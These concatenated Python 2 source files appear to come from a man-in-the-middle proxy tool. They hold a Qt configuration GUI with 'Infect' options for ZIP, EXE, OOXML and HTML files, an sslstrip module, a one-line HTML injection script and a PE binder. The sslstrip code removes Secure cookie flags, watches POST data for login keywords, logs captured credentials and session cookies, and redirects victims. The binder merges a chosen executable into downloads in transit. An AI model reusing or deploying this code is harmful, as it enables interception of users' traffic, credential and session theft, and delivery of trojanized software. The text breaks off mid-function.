except Exception, e:
self.Error('%s (%s)'% (Exception,e))
mod.append(add_element)
table = table2
for row in range(table.rowCount()):
local = self.getText(table, row,2)
enzip = self.getText(table, row,1)
if local != '' and enzip != '':
add_element = (local, enzip)
add.append(add_element)
zip['mod'] = mod
zip['add'] = add
configuracion[extension] = zip
# print configuracion
data = json.dumps(configuracion, sort_keys=True, indent=4)
if filename is None:
filename = QFileDialog.getSaveFileName(self, 'Selecciona fichero de configuracion', self.dirpath)
if filename == '':
return False
try:
with open(filename,'w') as f:
f.write(data)
except Exception, e:
self.Error('%s (%s)'% (Exception,e))
return False
return True
def LoadOOXMLConfig(self, data):
if data.find('".docx"') == -1 or data.find('".xlsx"') == -1 or data.find('".pptx"') == -1 :
self.Error('Fichero de configuracion no adecuado')
return False
try:
superconfiguracion = json.loads(data)
except Exception, e:
self.Error('%s (%s)'% (Exception,e))
return False
self.BorrarConfig(config = 'ooxml')
extensiones = {
'.docx' : (self.TableDocxModFiles, self.TableDocxAddFiles),
'.xlsx' : (self.TableXlsxModFiles, self.TableXlsxAddFiles),
'.pptx' : (self.TablePptxModFiles, self.TablePptxAddFiles),
'.ppsx' : (self.TablePpsxModFiles, self.TablePpsxAddFiles)
}
for tipo in extensiones:
print 'Processing... ',tipo
configuracion = superconfiguracion[tipo]
table1, table2 = extensiones[tipo]
for fichero in configuracion['add']:
table = table2
self.AddRow(table, icon = eliminar_icono)
local = QTableWidgetItem()
local.setText(fichero[0])
enzip = QTableWidgetItem()
enzip.setText(fichero[1])
table.setItem(table.rowCount()-1, 1, enzip)
table.setItem(table.rowCount()-1, 2, local)
for fichero in configuracion['mod']:
table = table1
self.AddRow(table, icon = eliminar_icono)
nombre = QTableWidgetItem()
nombre.setText(fichero['name'])
old = QTableWidgetItem()
old.setText(fichero['old'])
new = QTableWidgetItem()
new.setText(fichero['new'])
table.setItem(table.rowCount()-1,1, nombre)
table.setItem(table.rowCount()-1,2, old)
table.setItem(table.rowCount()-1,3, new)
def LoadProxyConfig(self, data):
if data.find('"TCPport"') == -1 or data.find('"tmpDir"') == -1 or data.find('"dns2proxyDir"') == -1 :
self.Error('Fichero de configuracion no adecuado')
return False
try:
configuracion = json.loads(data)
except Exception, e:
self.Error('%s (%s)'% (Exception,e))
return False
self.TCPportText.setText(str(configuracion['TCPport']))
self.proxyDirText.setText(str(configuracion['proxyDir']))
self.dns2proxyDirText.setText(str(configuracion['dns2proxyDir']))
self.iptablesPathText.setText(str(configuracion['iptablesPath']))
self.tmpDirText.setText(str(configuracion['tmpDir']))
self.interfaceText.setText(str(configuracion['interface']))
self.iptablesCheckBox.setChecked(configuracion['iptables'])
self.AutoSaveConfigsCheckBox.setChecked(configuracion['AutoSaveConfigs'])
self.InfectZIP.setChecked(configuracion['InfectZIP'])
self.InfectEXE.setChecked(configuracion['InfectEXE'])
self.InfectOOXML.setChecked(configuracion['InfectOOXML'])
self.InfectHTML.setChecked(configuracion['InfectHTML'])
self.ActivateSSLSTRIP.setChecked(configuracion['ActivateSSLSTRIP'])
self.ProxySilentMode.setChecked(configuracion['ProxySilentMode'])
self.launchDNS2Proxy.setChecked(configuracion['launchDNS2Proxy'])
return True
def SaveProxyConfig(self,filename = None):
configuracion = {}
configuracion['TCPport'] = str(self.TCPportText.toPlainText())
configuracion['interface'] = str(self.interfaceText.toPlainText())
configuracion['proxyDir'] = str(self.proxyDirText.toPlainText())
configuracion['dns2proxyDir'] = str(self.dns2proxyDirText.toPlainText())
configuracion['iptablesPath'] = str(self.iptablesPathText.toPlainText())
configuracion['tmpDir'] = str(self.tmpDirText.toPlainText())
configuracion['launchDNS2Proxy'] = self.launchDNS2Proxy.isChecked()
configuracion['iptables'] = self.iptablesCheckBox.isChecked()
configuracion['AutoSaveConfigs'] = self.AutoSaveConfigsCheckBox.isChecked()
configuracion['InfectZIP'] = self.InfectZIP.isChecked()
configuracion['InfectEXE'] = self.InfectEXE.isChecked()
configuracion['InfectOOXML'] = self.InfectOOXML.isChecked()
configuracion['InfectHTML'] = self.InfectHTML.isChecked()
configuracion['ActivateSSLSTRIP'] = self.ActivateSSLSTRIP.isChecked()
configuracion['ProxySilentMode'] = self.ProxySilentMode.isChecked()
if filename is None:
filename = QFileDialog.getSaveFileName(self, 'Selecciona fichero de configuracion', self.dirpath)
if filename == '':
return False
data = json.dumps(configuracion, sort_keys=True, indent=4)
try:
with open(filename,'w') as f:
f.write(data)
except Exception, e:
self.Error('%s (%s)'% (Exception,e))
return False
return True
def SaveHTMLConfig(self, filename = None):
# print data
configuracion = {}
mod = []
sslstrip = {}
table = self.TableHTMLChange
for row in range(table.rowCount()):
add_element = {}
try:
add_element['name'] = self.getText(table, row, 1)
add_element['old'] = self.getText(table, row, 2)
add_element['new'] = self.getText(table, row, 3)
add_element['quantity'] = self.getText(table, row, 4)
except Exception, e:
self.Error('SaveHTMLConfig: %s (%s)'% (Exception,e))
mod.append(add_element)
table = self.TableDomSSLStrip
sslstrip['general_dictionary'] = []
for row in range(table.rowCount()):
add_element = (self.getText(table, row, 1), self.getText(table, row, 2))
sslstrip['general_dictionary'].append(add_element)
table = self.TableTransSSLStrip
sslstrip['request2_dictionary'] = []
for row in range(table.rowCount()):
add_element = (self.getText(table, row, 1), self.getText(table, row, 2))
sslstrip['request2_dictionary'].append(add_element)
table = self.TableTargetsSSLStrip
sslstrip['objetivos'] = []
for row in range(table.rowCount()):
sslstrip['objetivos'].append(self.getText(table, row, 1))
table = self.TableKeywSSLStrip
sslstrip['keywords'] = []
for row in range(table.rowCount()):
sslstrip['keywords'].append(self.getText(table, row, 1))
table = self.TableRedirSSLStrip
sslstrip['redir'] = {}
for row in range(table.rowCount()):
datos = {}
dominio = self.getText(table, row, 1)
loginex = self.getText(table, row, 2)
uri = self.getText(table, row, 3)
redirection = self.getText(table, row, 4)
datos['uri'] = uri
datos['redirection'] = redirection
datos['lookfor'] = loginex
sslstrip['redir'][dominio] = datos
sslstrip['redir_prefijo'] = str(self.sslstrip_redir_prefix.toPlainText())
sslstrip['post_login_redirection'] = self.login_exito_redir.isChecked()
configuracion['mod'] = mod
configuracion['sslstrip'] = sslstrip
data = json.dumps(configuracion, sort_keys=True, indent=4)
try:
with open(filename,'w') as f:
f.write(data)
except Exception, e:
self.Error('%s (%s)'% (Exception,e))
return False
return True
def SaveHSTSdns2proxy(self, filename = None):
sslstrip = {}
table = self.TableDomSSLStrip
sslstrip['general'] = {}
for row in range(table.rowCount()):
sslstrip['general'][self.getText(table, row, 1)]=self.getText(table, row, 2)
data = json.dumps(sslstrip, sort_keys=True, indent=4)
try:
with open(filename,'w') as f:
f.write(data)
except Exception, e:
self.Error('%s (%s)'% (Exception,e))
return False
def LoadHTMLConfig(self, data):
# print data
try:
configuracion = json.loads(data)['sslstrip']
modificacionesHTML = json.loads(data)['mod']
except Exception, e:
self.Error('%s (%s)'% (Exception,e))
return False
self.BorrarConfig(config = 'sslstrip')
for fichero in configuracion['general_dictionary']:
table = self.TableDomSSLStrip
self.AddRow(table, icon = eliminar_icono)
local = QTableWidgetItem()
local.setText(fichero[1])
enzip = QTableWidgetItem()
enzip.setText(fichero[0])
table.setItem(table.rowCount()-1, 1, enzip)
table.setItem(table.rowCount()-1, 2, local)
for fichero in configuracion['request2_dictionary']:
table = self.TableTransSSLStrip
self.AddRow(table, icon = eliminar_icono)
local = QTableWidgetItem()
local.setText(fichero[1])
enzip = QTableWidgetItem()
enzip.setText(fichero[0])
table.setItem(table.rowCount()-1, 1, enzip)
table.setItem(table.rowCount()-1, 2, local)
for objetivo in configuracion['objetivos']:
table = self.TableTargetsSSLStrip
self.AddRow(table, icon = eliminar_icono)
local = QTableWidgetItem()
local.setText(objetivo)
table.setItem(table.rowCount()-1, 1, local)
for keyword in configuracion['keywords']:
table = self.TableKeywSSLStrip
self.AddRow(table, icon = eliminar_icono)
local = QTableWidgetItem()
local.setText(keyword)
table.setItem(table.rowCount()-1, 1, local)
for redir_dominio in configuracion['redir']:
table = self.TableRedirSSLStrip
self.AddRow(table, icon = eliminar_icono)
dominio = QTableWidgetItem()
dominio.setText(redir_dominio)
redirection = configuracion['redir'][redir_dominio]['redirection']
uri = configuracion['redir'][redir_dominio]['uri']
lookfor = configuracion['redir'][redir_dominio]['lookfor']
credir = QTableWidgetItem()
credir.setText(redirection)
curi = QTableWidgetItem()
curi.setText(uri)
clook = QTableWidgetItem()
clook.setText(lookfor)
table.setItem(table.rowCount()-1, 1, dominio)
table.setItem(table.rowCount()-1, 2, clook)
table.setItem(table.rowCount()-1, 3, curi)
table.setItem(table.rowCount()-1, 4, credir)
self.sslstrip_redir_prefix.setText(str(configuracion['redir_prefijo']))
self.login_exito_redir.setChecked(configuracion['post_login_redirection'])
for mod in modificacionesHTML:
name = mod['name']
old = mod['old']
new = mod['new']
quantity = mod['quantity']
table = self.TableHTMLChange
self.AddRow(table, icon = eliminar_icono)
rname = QTableWidgetItem()
rname.setText(name)
rold = QTableWidgetItem()
rold.setText(old)
rnew = QTableWidgetItem()
rnew.setText(new)
rquan = QTableWidgetItem()
rquan.setText(quantity)
table.setItem(table.rowCount()-1, 1, rname)
table.setItem(table.rowCount()-1, 2, rold)
table.setItem(table.rowCount()-1, 3, rnew)
table.setItem(table.rowCount()-1, 4, rquan)
def ExitHandler(self):
if self.process_started:
self.process_started = False
self.process.kill()
self.statusBar().showMessage(self.tr("Proxy parado"))
self.ProxyOutput.append('\nParando Proxy....\n')
if self.AutoSaveConfigsCheckBox.isChecked():
self.SaveProxyConfig(filename = self.default_config_file)
self.SaveHTMLConfig(filename = self.default_html_config_file)
self.SaveOOXMLConfig(filename = self.default_ooxml_config_file)
self.SaveZipConfig(filename = self.default_zip_config_file)
self.SavePeConfig(filename = self.default_pe_config_file)
app = QApplication(sys.argv)
form = MainDialog()
form.show()
app.aboutToQuit.connect(form.ExitHandler)
app.exec_()
<file_sep>__author__ = 'leonardo.nve'
import json
import re
import zlib
from urllib import quote_plus
from cStringIO import StringIO
from gzip import GzipFile
HTMLContentTypes = ['text/html', 'application/javascript', 'application/json', 'text/javascript', 'text/plain']
configuracion = None
request_dictionary = []
response_dictionary = []
secure_regex = re.compile('[\s;]{1}[Ss]ecure[\s;]?', re.IGNORECASE)
host_set_cookies = {}
def HTMLCheck(headers, uri):
if 'content-type' not in headers:
return False
contenttype = headers["content-type"]
for tipo in HTMLContentTypes:
if tipo in contenttype:
return True
return False
def ireplace(cad, old, new, count=0):
pattern = re.compile(re.escape(old), re.IGNORECASE)
return pattern.sub(new, cad, count)
def conditional_replace(host, response_lower):
# parse google search
if host.find('www.goo') != -1:
if '<a href="#" onclick="return go_back();" onmousedown="ctu(\'unauthorizedredirect\',\'originlink\');">' in response_lower:
pos = response_lower.find('<a href="')+9
fin = response_lower[pos:].find('"')
searched_host = response_lower[pos:pos+fin]
html_redir = """
<script>window.googleJavaScriptRedirect=1</script><script>var m={navigateTo:function(b,a,d){if(b!=a&&b.google){if(b.google.r){
b.google.r=0;b.location.href=d;a.location.replace(\"about:blank\");}}else{a.location.replace(d);}}};
m.navigateTo(window.parent,window,\"%s\");</script><noscript><META http-equiv=\"refresh\" content=\"0;URL='%s'\"></noscript>
<!--
""" % (searched_host, searched_host)
response_lower = ireplace(response_lower,'<html', html_redir)
return response_lower
return None
def sustituir(datos, diccionario, sprint = False):
moddatos = datos.encode('hex')
for sustitucion in diccionario:
if sustitucion["quantity"] == '0':
continue
premoddatos = moddatos
if sustitucion["quantity"] == 'all':
moddatos = moddatos.replace(sustitucion["old"], sustitucion["new"])
else:
quantity = int(sustitucion["quantity"])
moddatos = moddatos.replace(sustitucion["old"], sustitucion["new"], quantity)
if moddatos != premoddatos:
sustitucion["quantity"] = str(quantity-1)
# For Debug remove!
if sprint: print datos, '(%s) ---- ' % datos.encode('hex'), moddatos.decode('hex'), '(%s)' % moddatos
return moddatos.decode('hex')
def sustituir_array(array_datos, diccionario, sprint = False):
array_moddatos = []
result_moddatos = []
for datos in array_datos:
array_moddatos.append(datos.encode('hex'))
for sustitucion in diccionario:
for i in range(len(array_moddatos)):
array_moddatos[i] = array_moddatos[i].replace(sustitucion["old"], sustitucion["new"])
for moddatos in array_moddatos:
result_moddatos.append(moddatos.decode('hex'))
return result_moddatos
def gzipencode(content):
out = StringIO()
f = GzipFile(fileobj=out, mode='w', compresslevel=5)
f.write(content)
f.close()
return out.getvalue()
class HTMLHandler:
def __init__(self, html_config_file, headers, uri, activate_sslstrip):
# print '[--] HTMLHandler headers: ',headers
self.configuration = json.loads(open(html_config_file).read())
self.diccionario = []
self.gzip_encoded = False
if headers is not None:
if 'content-encoding' in headers:
if headers['content-encoding'].find('gzip') > -1:
self.gzip_encoded = True
else:
print '[--] Content-Enconding: ',headers['content-encoding']
else:
# print '[--] No content-encoding'
pass
for element in self.configuration['mod']:
# print element['old']
item = {}
item['old'] = element['old'].encode('hex')
item['new'] = element['new'].encode('hex')
item['quantity'] = element['quantity']
self.diccionario.append(item)
self.activate_mods = (len(self.diccionario) > 0)
self.sslstrip = self.configuration["sslstrip"]
self.sslstrip_response_diccionario = []
self.sslstrip_request_diccionario = []
self.activate_sslstrip = activate_sslstrip
self.objetivos = self.configuration["sslstrip"]['objetivos']
if activate_sslstrip:
self.redir_on_login = self.sslstrip['post_login_redirection']
for element in self.sslstrip['general_dictionary']:
item = {}
item['old'] = element[0].encode('hex')
item['new'] = element[1].encode('hex')
item['quantity'] = 'all'
self.sslstrip_response_diccionario.append(item)
item2 = {}
item2['old'] = item['new']
item2['new'] = item['old']
item2['d_old'] = element[1]
item2['d_new'] = element[0]
item2['quantity'] = 'all'
self.sslstrip_request_diccionario.append(item2)
for element in self.sslstrip['request2_dictionary']:
item2 = {}
item2['old'] = element[0].encode('hex')
item2['new'] = element[1].encode('hex')
item2['d_old'] = ''
item2['d_new'] = ''
item2['quantity'] = 'all'
self.sslstrip_request_diccionario.append(item2)
# print self.sslstrip_request_diccionario
self.redir_config = self.sslstrip['redir']
self.data = ''
return
def Bind(self, data, datalen, contentlength = 0):
# print 'adding data.....'
self.data += data
return '', 0, 0
def Padding(self):
#No padding needed on HTML mod
return None
def sslstrip_response_headers(self, headers):
cookies = []
if self.activate_sslstrip: # If activate_sslstrip
# print 'sslstrip_response_headers:\n',headers
bad_response_headers = ['content-length', 'content-md5']#, 'content-security-policy']
headers2={}
for key in headers:
if key in bad_response_headers or key[:3]=='if-' != -1 :
pass
else:
if key == 'set-cookie':
#print '[--] Removing Secure flag: ',headers[key]
cookies.append(secure_regex.sub(';xxxxxx;',headers[key]))
#print '[--] Removed Secure flag: ',headers[key]
else:
# print '[--] Header',key, headers[key]
headers2[key] = sustituir(headers[key], self.sslstrip_response_diccionario)
return headers2,cookies
return headers,cookies
# def sslstrip_request_headers(self, headers):
def Final(self, host, postData, originalRequest):
# print 'len data: ', len(self.data)
# print '[--] Final called...'
if self.activate_sslstrip:
data = ''
# If activate_sslstrip
if self.data != '':
if self.gzip_encoded:
try:
data2 = GzipFile('', 'r', 0, StringIO(self.data)).read()
self.data = data2
except:
print "[--] decompress error %s" % err
return data, None
if self.redir_on_login and postData != '':
lpostData = postData.lower()
# print '[--] Final() lpostData:\n', lpostData
for key in self.sslstrip['keywords']:
# print '[--] Looking for ',key
if re.search(key,lpostData):
# print '[--] Keyword found (%s)' % key
redir = self.redir_config
for entry in redir:
# print '[--] Checking... %s (%s)' % (redir[entry]['uri'],host)
if redir[entry]['uri'] == host:
# print '[--] Candidato... !!!'
if redir[entry]['lookfor'] == '' or re.search(redir[entry]['lookfor'],self.data):
print '[+++] Keyword found (%s):\n' % key, json.dumps(originalRequest['args'],sort_keys=True, indent=4)
print '[++] Activando redireccionamiento a ', redir[entry]['redirection']
host = '%s%s'%(self.sslstrip['redir_prefijo'],entry)
cookies = ''
print '[++] Cookies de la sesion:\n', json.dumps(originalRequest['cookies'],sort_keys=True, indent=4)
for cookie in originalRequest['cookies']:
cookies = cookies + cookie + '; '#'%s=%s ;' % (cookie, originalRequest['cookies'][cookie])
cookies = sustituir(cookies, self.sslstrip_request_diccionario)
# print '[++] Cookies from server: ',cookies
host_set_cookies[host] = [cookies, redir[entry]['redirection']]
redirect_html = '<html><body><script>window.location.replace(%%22http://%s/%%22)</script></body></html>' % host
# print '[--] Primera fase redireccionamiento: ', host
return str(redirect_html), str('http://'+host+'/')
# print 'Ungziped data:\n',self.data
data = sustituir(self.data, self.sslstrip_response_diccionario)
google_search = conditional_replace(host,data.lower())
if google_search is not None:
data = google_search
if self.gzip_encoded:
data = gzipencode(data)
self.data = data
if self.activate_mods and self.data != '':
data = ''
if self.gzip_encoded:
try:
data2 = GzipFile('', 'r', 0, StringIO(self.data)).read()
self.data = data2
except:
print "[--] decompress error %s" % err
pass
# print 'Ungziped data:\n',self.data
data = sustituir(self.data, self.diccionario)
if self.gzip_encoded:
data = gzipencode(data)
return data, None
return self.data, None
def request_string_sslstrip(self, cad):
if not self.activate_sslstrip:
return cad
return sustituir(cad,self.sslstrip_request_diccionario)
def response_string_sslstrip(self, cad):
if not self.activate_sslstrip:
return cad
return sustituir(cad,self.sslstrip_response_diccionario)
def check_host(self, host, onlycheck = False):
if not onlycheck:
host2 = host.replace(self.sslstrip['redir_prefijo'], 'www')
port = 80
for domain in self.sslstrip_request_diccionario:
dlen = len(domain['d_old'])
# print '[--] Checking domain %s' % host[0-dlen:], domain['d_old']
if host[0-dlen:] == domain['d_old']:
host2 = host.replace(domain['d_old'], domain['d_new'])
# print '[--] Host: %s:%d => %s:443 (https)' % (host, port, host2)
port = 443
else:
host2 = host
port = 443
# TODO: Filtrar por HOSTS
if self.objetivos[0] == 'any':
return [host2, port]
else:
for objetivo in self.objetivos:
if objetivo in host2:
# print '[++] Stripping:',host2
return [host2,port]
# print '[--] No stripping host:', host2
return None
# '''
# Modify_Request:
# Recibe URI, host de destino, requestdata y cabeceras de forma opcional.
# Devuelve nuevo host, puerto de conexion, SSL true o false, nueva uri, nueva request data y nuevas cabeceras
# '''
def Modify_Request(self, uri, host, requestdata, headers = None):
if not self.activate_sslstrip:
return host, 80, uri, requestdata, headers
newredir = self.check_host(host)
if newredir is None:
return host, 80, uri, requestdata, headers
host2 = newredir[0]
port = newredir[1]
# reqlower = requestdata.lower()
# print 'Request headers:'
if headers is not None:
for key in headers:
# print key,':',
for indice in range(len(headers[key])):
# print headers[key][indice],' (',
headers[key][indice] = sustituir(headers[key][indice], self.sslstrip_request_diccionario)
# print headers[key][indice],') ; '
array_moddatos = sustituir_array([requestdata, uri], self.sslstrip_request_diccionario)
req = array_moddatos[0]
uri = array_moddatos[1]
# req = sustituir(requestdata, self.sslstrip_request_diccionario)
# uri = sustituir(uri, self.sslstrip_request_diccionario)
# print '[--]',host,'--> ',host
# if newhost != host:
# port = 443
return host2, port , uri, req, headers
<file_sep>#!/bin/sh
sed -i -e "s/<body/<script>alert('INFECTED')<\/script><body/" $1
<file_sep>from pefile import *
from os import stat
import pefile
from socket import *
import struct, random
'''
For test:
http://the.earth.li/~sgtatham/putty/0.63/x86/putty.exe
http://ftp.free.org/mirrors/videolan/vlc/2.1.5/win32/vlc-2.1.5-win32.exe
'''
directorio_temporal = 'temporal/'
nombre_seccion = '.blob'
PEContentTypes = ["application/x-msdos-program", "application/x-msdownload", "application/x-dosexec",
"application/vnd.openxmlformats-officedocument.wordprocessingml.document"]
genericPEContentTypes = ["application/octet-stream", "application/x-executable"]
PE_FILE_UP_LIMIT = 90000000
PE_FILE_DOWN_LIMIT = 1000
def PECheck(headers, uri, buffer):
if "content-length" in headers:
if int(headers["content-length"]) in (PE_FILE_UP_LIMIT, PE_FILE_DOWN_LIMIT) :
return False
else:
return False
try:
if buffer[:2]!='MZ':
return False
except:
return False
if "content-type" in headers:
contenttype = headers["content-type"]
if contenttype in PEContentTypes:
return True
if contenttype in genericPEContentTypes:
if '.exe' in uri.lower():
return True
if 'content-disposition' in headers:
if '.exe' in headers['content-disposition'].lower():
return True
return False
class PEHandler():
agregado = None
exe = None
padding = 0
exe_file = None
change_rsrc = True
section_padding = 0
def __init__(self, exe_file):
self.exe_file = exe_file
return
'''
Bind es el manejador principal
Devuelve el buffer modificado, el nuevo Content-Length y la longitud del padding
'''
def Bind(self, data, datalen, contentlength=0, downloaded_name='temporal.exe', change_rsrc = True, section_name = nombre_seccion):
if self.change_rsrc:
self.change_rsrc = change_rsrc
if self.agregado is None and (self.exe_file is None or contentlength == 0):
print '> No enought params to modify the PE file'
return data, contentlength, 0
if self.agregado is None:
print '> Loading PE %s' % self.exe_file
self.exe = EXE(self.exe_file)
if self.exe is None:
print '> Error opening original self.exe, is it a PE?'
return data, contentlength, 0
self.agregado = EXE(header=data, size=int(contentlength), name=downloaded_name)
self.agregado.Save_Data(data)
if not self.change_rsrc:
self.agregado.arsrc_size = 0
self.exe.AddSections(self.agregado.size, self.agregado.arsrc_size, section_name = section_name)
print "> Stub size %d" % contentlength
print "> %s size %d" % (self.exe_file, self.exe.size)
contentlength += self.exe.size
self.section_padding = self.exe.pe.sections[-1].SizeOfRawData - self.agregado.size
self.padding = self.exe.pe.sections[-1].PointerToRawData - contentlength
print '> Padding %d' % self.padding
# print '> Last PointerToRawData %d ' % self.exe.pe.sections[-1].PointerToRawData
contentlength += self.padding + self.agregado.arsrc_size
print '> Final size %d' % contentlength
# self.exe.AddSections(self.agregado.size,self.agregado.arsrc_VirtualSize)
msgmod = self.exe.Load_Data(self.exe.size) # Add binder modded
msgmod += data # Add real file
return msgmod, contentlength, self.agregado.arsrc_size
else:
self.agregado.Save_Data(data, to_pos=-1)
if not self.change_rsrc:
self.agregado.arsrc_size = 0
return data, contentlength, self.agregado.arsrc_size + self.padding
'''
padding devuelve lo que hay que agregar a la comunicacion y la longitud de los datos
'''
def Padding(self):
if not self.change_rsrc:
if self.section_padding > 0:
return str('\x00' * self.section_padding)
return None
print '> Getting resources (%d)' % self.agregado.arsrc_size
rsrc = self.agregado.Get_rsrc(self.agregado.arsrc_size)
print '> Original resources length %d' % len(rsrc)
if rsrc:
recurso = self.exe.Recalculate_rsrc_Data_Offsets(rsrc, self.agregado.arsrc_VirtualAddress,self.agregado.arsrc_offset)
print '> Final resources length %d' % len(recurso)
data = '\x00' * self.padding + recurso
return str(data)
return None
def randomword(length):
return ''.join(random.choice(string.lowercase) for i in range(length))
class SectionDoublePError(Exception):
pass
class SectionDoubleP:
def __init__(self, pe):
self.pe = pe
def __adjust_optional_header(self):
""" Recalculates the SizeOfImage, SizeOfCode, SizeOfInitializedData and
SizeOfUninitializedData of the optional header.
"""
# SizeOfImage = ((VirtualAddress + VirtualSize) of the new last section)
self.pe.OPTIONAL_HEADER.SizeOfImage = (self.pe.sections[-1].VirtualAddress +
self.pe.sections[-1].Misc_VirtualSize)
self.pe.OPTIONAL_HEADER.SizeOfCode = 0
self.pe.OPTIONAL_HEADER.SizeOfInitializedData = 0
self.pe.OPTIONAL_HEADER.SizeOfUninitializedData = 0
# Recalculating the sizes by iterating over every section and checking if
# the appropriate characteristics are set.
for section in self.pe.sections:
if section.Characteristics & 0x00000020:
# Section contains code.
self.pe.OPTIONAL_HEADER.SizeOfCode += section.SizeOfRawData
if section.Characteristics & 0x00000040:
# Section contains initialized data.
self.pe.OPTIONAL_HEADER.SizeOfInitializedData += section.SizeOfRawData
if section.Characteristics & 0x00000080:
# Section contains uninitialized data.
self.pe.OPTIONAL_HEADER.SizeOfUninitializedData += section.SizeOfRawData
def __add_header_space(self):
""" To make space for a new section header a buffer filled with nulls is added at the
end of the headers. The buffer has the size of one file alignment.
The data between the last section header and the end of the headers is copied to
the new space (everything moved by the size of one file alignment). If any data
directory entry points to the moved data the pointer is adjusted.
"""
FileAlignment = self.pe.OPTIONAL_HEADER.FileAlignment
SizeOfHeaders = self.pe.OPTIONAL_HEADER.SizeOfHeaders
data = '\x00' * FileAlignment
# Adding the null buffer.
self.pe.__data__ = (self.pe.__data__[:SizeOfHeaders] + data +
self.pe.__data__[SizeOfHeaders:])
section_table_offset = (self.pe.DOS_HEADER.e_lfanew + 4 +
self.pe.FILE_HEADER.sizeof() + self.pe.FILE_HEADER.SizeOfOptionalHeader)
# Copying the data between the last section header and SizeOfHeaders to the newly allocated
# space.
new_section_offset = section_table_offset + self.pe.FILE_HEADER.NumberOfSections * 0x28
size = SizeOfHeaders - new_section_offset
data = self.pe.get_data(new_section_offset, size)
self.pe.set_bytes_at_offset(new_section_offset + FileAlignment, data)
# Filling the space, from which the data was copied from, with NULLs.
self.pe.set_bytes_at_offset(new_section_offset, '\x00' * FileAlignment)
data_directory_offset = section_table_offset - self.pe.OPTIONAL_HEADER.NumberOfRvaAndSizes * 0x8
# Checking data directories if anything points to the space between the last section header
# and the former SizeOfHeaders. If that's the case the pointer is increased by FileAlignment.
for data_offset in xrange(data_directory_offset, section_table_offset, 0x8):
data_rva = self.pe.get_dword_from_offset(data_offset)
if new_section_offset <= data_rva and data_rva < SizeOfHeaders:
self.pe.set_dword_at_offset(data_offset, data_rva + FileAlignment)
SizeOfHeaders_offset = (self.pe.DOS_HEADER.e_lfanew + 4 +
self.pe.FILE_HEADER.sizeof() + 0x3C)
# Adjusting the SizeOfHeaders value.
self.pe.set_dword_at_offset(SizeOfHeaders_offset, SizeOfHeaders + FileAlignment)
section_raw_address_offset = section_table_offset + 0x14
# The raw addresses of the sections are adjusted.
for section in self.pe.sections:
if section.PointerToRawData != 0:
self.pe.set_dword_at_offset(section_raw_address_offset, section.PointerToRawData + FileAlignment)
section_raw_address_offset += 0x28
# All changes in this method were made to the raw data (__data__). To make these changes
# accessbile in self.pe __data__ has to be parsed again. Since a new pefile is parsed during
# the init method, the easiest way is to replace self.pe with a new pefile based on __data__
# of the old self.pe.
self.pe = pefile.PE(data=self.pe.__data__)
def __is_null_data(self, data):
""" Checks if the given data contains just null bytes.
"""
for char in data:
if char != '\x00':
return False
return True
def pop_back(self):
""" Removes the last section of the section table.
Deletes the section header in the section table, the data of the section in the file,
pops the last section in the sections list of pefile and adjusts the sizes in the
optional header.
"""
# Checking if there are any sections to pop.
if ( self.pe.FILE_HEADER.NumberOfSections > 0
and self.pe.FILE_HEADER.NumberOfSections == len(self.pe.sections)):
# Stripping the data of the section from the file.
if self.pe.sections[-1].SizeOfRawData != 0:
self.pe.__data__ = (self.pe.__data__[:self.pe.sections[-1].PointerToRawData] + \
self.pe.__data__[self.pe.sections[-1].PointerToRawData + \
self.pe.sections[-1].SizeOfRawData:])
# Overwriting the section header in the binary with nulls.
# Getting the address of the section table and manually overwriting
# the header with nulls unfortunally didn't work out.
self.pe.sections[-1].Name = '\x00' * 8
self.pe.sections[-1].Misc_VirtualSize = 0x00000000
self.pe.sections[-1].VirtualAddress = 0x00000000
self.pe.sections[-1].SizeOfRawData = 0x00000000
self.pe.sections[-1].PointerToRawData = 0x00000000
self.pe.sections[-1].PointerToRelocations = 0x00000000
self.pe.sections[-1].PointerToLinenumbers = 0x00000000
self.pe.sections[-1].NumberOfRelocations = 0x0000
self.pe.sections[-1].NumberOfLinenumbers = 0x0000
self.pe.sections[-1].Characteristics = 0x00000000
self.pe.sections.pop()
self.pe.FILE_HEADER.NumberOfSections -= 1
self.__adjust_optional_header()
else:
raise SectionDoublePError("There's no section to pop.")
def push_back(self, Name=".NewSec", VirtualSize=0x00000000, VirtualAddress=0x00000000,
RawSize=0x00000000, RawAddress=0x00000000, RelocAddress=0x00000000,
Linenumbers=0x00000000, RelocationsNumber=0x0000, LinenumbersNumber=0x0000,
Characteristics=0xE00000E0, Data=""):
""" Adds the section, specified by the functions parameters, at the end of the section
table.
If the space to add an additional section header is insufficient, a buffer is inserted
after SizeOfHeaders. Data between the last section header and the end of SizeOfHeaders
is copied to +1 FileAlignment. Data directory entries pointing to this data are fixed.
A call with no parameters creates the same section header as LordPE does. But for the
binary to be executable without errors a VirtualSize > 0 has to be set.
If a RawSize > 0 is set or Data is given the data gets aligned to the FileAlignment and
is attached at the end of the file.
"""
temp = VirtualSize
if self.pe.FILE_HEADER.NumberOfSections == len(self.pe.sections):
FileAlignment = self.pe.OPTIONAL_HEADER.FileAlignment
SectionAlignment = self.pe.OPTIONAL_HEADER.SectionAlignment
if len(Name) > 8:
raise SectionDoublePError("The name is too long for a section.")
if ( VirtualAddress < (self.pe.sections[-1].Misc_VirtualSize +
self.pe.sections[-1].VirtualAddress)
or VirtualAddress % SectionAlignment != 0):
if (self.pe.sections[-1].Misc_VirtualSize % SectionAlignment) != 0:
VirtualAddress = \
(self.pe.sections[-1].VirtualAddress + self.pe.sections[-1].Misc_VirtualSize -
(self.pe.sections[-1].Misc_VirtualSize % SectionAlignment) + SectionAlignment)
else:
VirtualAddress = \
(self.pe.sections[-1].VirtualAddress + self.pe.sections[-1].Misc_VirtualSize)
if VirtualSize == 0x0:
VirtualSize = len(Data)
if (len(Data) % FileAlignment) != 0:
# Padding the data of the section.
Data += ('\x00' * (FileAlignment - (len(Data) % FileAlignment)))
if RawSize != len(Data):
if (RawSize > len(Data) and (RawSize % FileAlignment) == 0):
Data += ('\x00' * (RawSize - (len(Data) % RawSize)))
else:
RawSize = len(Data)
section_table_offset = (self.pe.DOS_HEADER.e_lfanew + 4 +
self.pe.FILE_HEADER.sizeof() + self.pe.FILE_HEADER.SizeOfOptionalHeader)
# If the new section header exceeds the SizeOfHeaders there won't be enough space
# for an additional section header. Besides that it's checked if the 0x28 bytes
# (size of one section header) after the last current section header are filled
# with nulls/ are free to use.
if ( self.pe.OPTIONAL_HEADER.SizeOfHeaders <
section_table_offset + (self.pe.FILE_HEADER.NumberOfSections + 1) * 0x28
or not self.__is_null_data(self.pe.get_data(section_table_offset +
(
self.pe.FILE_HEADER.NumberOfSections) * 0x28,
0x28))):
